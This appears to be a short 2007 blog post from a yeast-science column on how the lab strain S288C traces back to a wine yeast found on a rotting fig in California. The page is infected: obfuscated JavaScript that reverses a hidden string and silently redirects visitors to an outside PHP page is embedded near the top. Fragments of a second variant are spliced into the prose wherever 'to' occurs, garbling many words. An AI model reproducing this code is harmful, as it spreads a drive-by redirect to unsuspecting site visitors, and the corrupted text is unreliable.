Syrup of figs

$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tock_000014364354Small.jpg”>$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tock_000014364354Small.jpg” alt=”” width=”284″ height=”226″ />The publication of the yeast sequencing project in 1996 was pretty big news. This ‘landmark in genomics’ involved over 600 scientists, identified 6604 potential proteins, tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}took four years and used ‘modern informatics technology’ aka the internet. The strain of Saccharomyces cerevisiae used in this work was an old favourite of yeast laboratobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tory types, S288C. Given the importance of this strain, its provenance is strangely low key but fascinating.

The haploid strain S288C can be traced back tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to Carl Lindegren, one of the pioneers of yeast genetics. One of the strains he used – EM93 – was isolated from a rotting fig in Merced, California in 1938 by Emil Mrak. In passing, Merced (www.cityofmerced.org) seems tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be unaware of its place in histobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tory – an opportunity methinks! Anyway, back tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to our stobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tory. Some years later in the early 1950s, another doyen of yeast genetics (Robert Mortimer) isolated what became S288C from genetic crosses between EM93 and another yeast S177A. Further work by Mortimer has estimated that >85% of the genome of S288C originates from EM93. The final piece of the jigsaw? It seems likely that EM93 was a wine yeast which was transported tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the rotting figs by an insect. Would make a nice documentary!

First published 1 May 2007 in YeastBytes

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